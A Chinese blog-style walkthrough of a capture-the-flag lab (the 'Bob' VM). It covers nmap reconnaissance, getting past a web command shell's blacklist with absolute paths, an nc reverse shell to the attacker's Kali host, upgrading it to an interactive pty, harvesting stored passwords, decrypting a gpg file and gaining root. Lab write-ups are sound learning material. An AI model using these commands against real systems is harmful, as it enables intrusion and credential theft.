准备工作
靶场
攻击工具kali虚拟机
直接双击打开即可添加到虚拟机。打开后网卡使用NAT模式。
没有给用户名和密码。(给了就没有攻击的必要了 hhh)
开始攻击
打开kali
使用nmap 扫描同网段下的ip和端口(因为靶机也用的NAT模式的网卡,所以按理说应该被分在了与kali虚拟机同网段的某一个ip地址)
我的kali ip 地址为192.168.160.129
nmap -sP 192.168.160.0/24
同网段下,还有我的两台已知ip地址的靶机和网关192.168.160.2,因此排除法,该bob靶机的ip地址为192.168.160.132 。
因此我们对该靶机进行详细的nmap 并将扫描结果存放在当前目录下
nmap -A 192.168.160.132 -p- -oN- nmap192.168.160.132
我们发现80/tcp http端口是开着的,因此我们可以直接用本机来访问该ip地址http://192.168.160.132
有四个被阻止爬取的文件。(既然被阻止爬取了,应该是比较重要的信息,我们去看一看这些。)
我都试了试 基本上除了/dev_shell.php这个shell是有点用的,其他几个文件基本没什么用,甚至还会收到靶机作者的嘲讽。。
http://192.168.160.132 /dev_shell.php输入一些试探性的指令 ls ,cat,id等等
所以发现id命令是可以通过的,而ls cat等命令是被拒绝的。因此我们猜测可能有黑白名单。
接下来就派上kali的burpsuite来抓包 用火狐访问靶机http://192.168.160.132 /dev_shell.php 并设置浏览器代理。
输入ls 点击submit
按Ctrl+R将该包发往Repeater模块,这里有点类似 ctf里指令跳过感觉了。既然ls被阻挡了,那我们想ls是在/bin下的一个命令,因此考虑用/bin/ls来试试。点击send后
果然绕过了白名单。可以看道当前目录下的文件。
bak文件是备份文件。我们直接访问该文件。发现要下载下来,下载下来再打开后。
果真有黑名单。发现我们的nc(做反向shell用的)也被拉黑了
那么我们绕过即可。注意这里的ip地址是我们进行监听的主机(即kali的ip与端口),相当于将命令发给靶机,靶机运用/bin/bash把shell发送给kali。只不过用的是TCP的形式,不是交互式的。端口号(7749)自己随便取即可
in_command=/bin/nc -e /bin/bash 192.168.160.129 7749
同时在kali上开启监听(其实应该先开启监听,再发送请求)
nc -lvvp 7749
连接上之后,可以运用以下命令将该shell改为交互式的。
python -c "import pty;pty.spawn('/bin/bash')"
随后开始摸索了。在根目录下发现显而易见的flag.txt
很显然权限不够,哪那么容易就能打开的,但是现在目标明确了,找一个有权限的用户来登录再来打开。冲!!
获取关键用户jc密码
查看/etc/passwd 发现两个关键用户 bob 和jc
然后跑到/home/bob下查看 ,用 ls -la 查看隐藏信息和权限信息
打开.old_passwordfile.html 发现两个老用户账号和密码,用jc:Qweryz应该就够了
找到关键用户后,我们要想办法找到flag了。
获取关键用户Bob密码
同样在bob家目录下,发现有Documents这关键文件夹 (一般Documents是放比较关键性的文件的)
发现几个关键文件,login.txt.gpg 打开后发现是段加密过的代码。具体什么加密方式不知道,需要我们探索才能进行解密。
staff.txt文件则是bob用户的一些同事信息,有jc相关的信息,jc用户应该也比较重要。
随后打开Secret文件夹,这个是最关键的一个文件夹。
逐层打开文件夹后,用./的方式打开./notes.sh 脚本,发现竟然是个藏头诗
首字母组合后为 HARPOCRATES 是一种加密算法。
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
发现权限不够,正好,我们刚刚得到了个新用户JC用户,我们登录试试看
登录后再解密就成功了。
得到bob用户的密码b0bcat_ 登录bob 发现bob是sudo组的可以使用root的指令,那美滋滋了啊,基本上所有文件都能打开了。
成功拿到flag
回想起来最开始在根目录下看到的flag.txt了么,普通用户打不开,咱现在用root权限试试!
成功了!!!!!!!!!!!!!!!!!!
打了2个小时的字,希望朋友们支持!!